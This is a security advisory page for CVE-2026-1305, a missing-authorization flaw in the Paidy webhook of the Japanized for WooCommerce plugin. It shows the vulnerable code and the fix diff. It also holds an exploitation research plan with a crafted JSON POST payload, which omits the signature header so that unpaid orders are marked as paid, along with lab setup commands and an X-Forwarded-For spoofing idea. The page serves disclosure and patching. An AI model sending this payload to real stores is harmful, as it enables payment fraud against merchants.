CVE-2026-1305

Japanized for WooCommerce <= 2.8.4 - Missing Authorization to Unauthenticated Paidy Order Manipulation

mediumImproper Authentication
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
2.8.5
Patched in
1d
Time to patch

Description

The Japanized for WooCommerce plugin for WordPress is vulnerable to Improper Authentication in versions up to, and including, 2.8.4. This is due to a flawed permission check in the `paidy_webhook_permission_check` function that unconditionally returns `true` when the webhook signature header is omitted. This makes it possible for unauthenticated attackers to bypass payment verification and fraudulently mark orders as "Processing" or "Completed" without actual payment via a crafted POST request to the Paidy webhook endpoint.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.8.4
PublishedFebruary 26, 2026
Last updatedFebruary 27, 2026
Affected pluginwoocommerce-for-japan

What Changed in the Fix

Changes introduced in v2.8.5

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-1305 (Japanized for WooCommerce) ## 1. Vulnerability Summary The **Japanized for WooCommerce** plugin (versions <= 2.8.4) contains an Improper Authentication vulnerability in its Paidy payment gateway webhook handler. The function `paidy_webhook_permission_che…

Show full research plan

Exploitation Research Plan: CVE-2026-1305 (Japanized for WooCommerce)

1. Vulnerability Summary

The Japanized for WooCommerce plugin (versions <= 2.8.4) contains an Improper Authentication vulnerability in its Paidy payment gateway webhook handler. The function paidy_webhook_permission_check is responsible for authorizing requests to the Paidy REST API endpoint. However, the logic contains a flaw: it only enforces signature verification if the x-paidy-signature header is present. If the header is omitted entirely and no IP whitelist is configured (which is the default state), the function returns true, granting unauthenticated access to order manipulation logic.

This allows an attacker to spoof payment notifications from Paidy and force WooCommerce orders into the "Processing" or "Completed" status without actual payment.

2. Attack Vector Analysis

  • Endpoint: POST /wp-json/paidy/v1/order
  • Hook: rest_api_init via WC_Paidy_Endpoint::paidy_register_routes()
  • Authentication: None (Unauthenticated)
  • Vulnerable Function: paidy_webhook_permission_check in includes/gateways/paidy/class-wc-paidy-endpoint.php
  • Payload Carry: JSON body in a POST request.
  • Preconditions:
    1. The Paidy payment gateway must be enabled in WooCommerce.
    2. A target order must exist with the payment method set to paidy.
    3. The default paidy_webhook_allowed_ips filter must be empty (default).

3. Code Flow

  1. Entry Point: A POST request is made to /wp-json/paidy/v1/order.
  2. Permission Check: The REST API calls paidy_webhook_permission_check($request).
  3. Bypass:
    • $signature = $request->get_header( 'x-paidy-signature' ); returns null if the header is missing.
    • if ( empty( $signature ) ) block executes.
    • $allowed_ips is empty by default (apply_filters( 'paidy_webhook_allowed_ips', array() )).
    • The code skips the IP check and proceeds to return true; at the end of the function.
  4. Processing: paidy_check_webhook($data) is called.
  5. Logic Sink:
    • $body_data = (array) $data->get_body();
    • $main_data = json_decode( $body_data[0], true );
    • It fetches the order via wc_get_order( $main_data['order_ref'] ).
    • It verifies $order->get_payment_method() === 'paidy'.
    • If $main_data['status'] === 'authorize_success', it calls $order->payment_complete($main_data['payment_id']).
    • This transitions the order status (typically to processing).

4. Nonce Acquisition Strategy

No WordPress Nonce is required.
The endpoint is a REST API route designed for external webhooks (Paidy). It uses a custom permission_callback instead of _wpnonce. Since the vulnerability allows bypassing the signature check used for external authentication, no additional tokens or nonces are needed to access the endpoint.

5. Exploitation Strategy

The exploit will be performed using the http_request tool to send a crafted JSON payload.

Step-by-Step Plan:

  1. Identify/Create Order: Create a WooCommerce order with the status pending and payment method paidy.
  2. Craft Payload: Prepare a JSON object with the order ID and the success status.
  3. Send Request: Execute a POST request to the REST API without the x-paidy-signature header.
  4. Verify: Check the order status to ensure it has changed to processing.

Payload (JSON):

{
  "payment_id": "pay_spoofed_9999",
  "order_ref": "ORDER_ID_HERE",
  "status": "authorize_success"
}

HTTP Request Details:

  • Method: POST
  • URL: http://<target>/wp-json/paidy/v1/order
  • Headers:
    • Content-Type: application/json
  • Body: The JSON payload above.

6. Test Data Setup

To simulate a vulnerable environment, perform the following via WP-CLI:

  1. Enable Plugin:
    wp plugin activate woocommerce-for-japan
    
  2. Configure Paidy (Minimal):
    wp option update woocommerce_paidy_settings '{"enabled":"yes", "testmode":"yes"}'
    
  3. Create a Product:
    PRODUCT_ID=$(wp post create --post_type=product --post_title="Test Product" --post_status=publish --porcelain)
    wp post term add $PRODUCT_ID product_type simple
    
  4. Create a "Paidy" Order:
    ORDER_ID=$(wp wc order create --user=1 --payment_method=paidy --status=pending --porcelain)
    # Ensure the item is added so the order isn't empty
    wp wc order_item create $ORDER_ID --name="Test Item" --quantity=1 --total=100
    
    Note: Using wp wc order create with --payment_method=paidy is critical for passing the plugin's security check.

7. Expected Results

  • HTTP Response: The endpoint should return a 200 OK status with a JSON response echoing the payment_id or a success message.
  • Side Effect: The WooCommerce order associated with ORDER_ID should be updated from pending to processing.
  • Log: If debug logging is enabled in the plugin, the paidy-wc log will show "Paidy Webhook received... Exist [payment_id] and [order_ref]".

8. Verification Steps

After sending the HTTP request, verify the order status using WP-CLI:

wp wc order get <ORDER_ID> --field=status

Expected output: processing

Check for the order note added by the plugin:

wp wc order_note list <ORDER_ID>

Expected: A note containing "It succeeded to check the authorization of the order in Paidy Webhook."

9. Alternative Approaches

If the order is already in processing, the plugin code contains a branch for authorize_success when status is processing (truncated in the provided source). The attacker could also try different status values like capture_success (though authorize_success is the most direct path to marking an order as paid).

If IP validation is active, the attacker could attempt to spoof the HTTP_X_FORWARDED_FOR header, as the get_remote_ip() function in WC_Paidy_Endpoint prioritizes it:

if ( ! empty( $_SERVER['HTTP_X_FORWARDED_FOR'] ) ) {
    $ip = sanitize_text_field( wp_unslash( $_SERVER['HTTP_X_FORWARDED_FOR'] ) );

However, since allowed_ips defaults to an empty array, the bypass is usually unconditional.

Research Findings
Static analysis — not yet PoC-verified

Summary

The Paidy payment gateway in Japanized for WooCommerce fails to properly authenticate webhook requests when the 'x-paidy-signature' header is missing. By default, the plugin lacks an IP whitelist, causing the permission check to unconditionally return true and allowing unauthenticated attackers to spoof payment notifications.

Vulnerable Code

// includes/gateways/paidy/class-wc-paidy-endpoint.php:67
public function paidy_webhook_permission_check( $request ) {
	// Get the signature from the header.
	$signature = $request->get_header( 'x-paidy-signature' );

	// If no signature header, check if this is from allowed IP (optional).
	if ( empty( $signature ) ) {
		// Allow filtering of IP whitelist.
		$allowed_ips = apply_filters( 'paidy_webhook_allowed_ips', array() );

		if ( ! empty( $allowed_ips ) ) {
			$remote_ip = $this->get_remote_ip();
			if ( ! in_array( $remote_ip, $allowed_ips, true ) ) {
				return new WP_Error(
					'paidy_unauthorized',
					__( 'Unauthorized access to Paidy webhook.', 'woocommerce-for-japan' ),
					array( 'status' => 403 )
				);
			}
		}
	}

	// Verify the signature if present.
	if ( ! empty( $signature ) ) {
		// ... [signature verification logic] ...
	}

	return true;
}

Security Fix

--- /home/deploy/wp-safety.org/data/plugin-versions/woocommerce-for-japan/2.8.4/includes/gateways/paidy/class-wc-paidy-endpoint.php	2026-01-06 01:35:06.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/woocommerce-for-japan/2.8.5/includes/gateways/paidy/class-wc-paidy-endpoint.php	2026-02-19 08:53:04.000000000 +0000
@@ -78,7 +78,16 @@
 						array( 'status' => 403 )
 					);
 				}
+				// IP validation passed.
+				return true;
 			}
+
+			// No signature AND no IP whitelist configured - REJECT.
+			return new WP_Error(
+				'paidy_unauthorized',
+				__( 'Missing signature header for Paidy webhook.', 'woocommerce-for-japan' ),
+				array( 'status' => 403 )
+			);
 		}
 
 		// Verify the signature if present.
@@ -103,9 +112,16 @@
 					array( 'status' => 403 )
 				);
 			}
+			// Signature validation passed.
+			return true;
 		}
 
-		return true;
+		// Should never reach here, but reject by default.
+		return new WP_Error(
+			'paidy_unauthorized', 
+			__( 'Unauthorized access to Paidy webhook.', 'woocommerce-for-japan' ),
+			array( 'status' => 403 )
+		);

Exploit Outline

The exploit targets the Paidy webhook REST API endpoint at /wp-json/paidy/v1/order. An attacker sends an unauthenticated POST request containing a JSON payload with a valid order_ref (order ID) and the status set to 'authorize_success'. By omitting the 'x-paidy-signature' header entirely, the attacker triggers a logic flaw where the plugin fails to validate the request against a signature or a default-empty IP whitelist, ultimately returning 'true' for the permission check. This results in the order being marked as paid (typically moving it to 'processing' status) without a legitimate payment transaction occurring.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.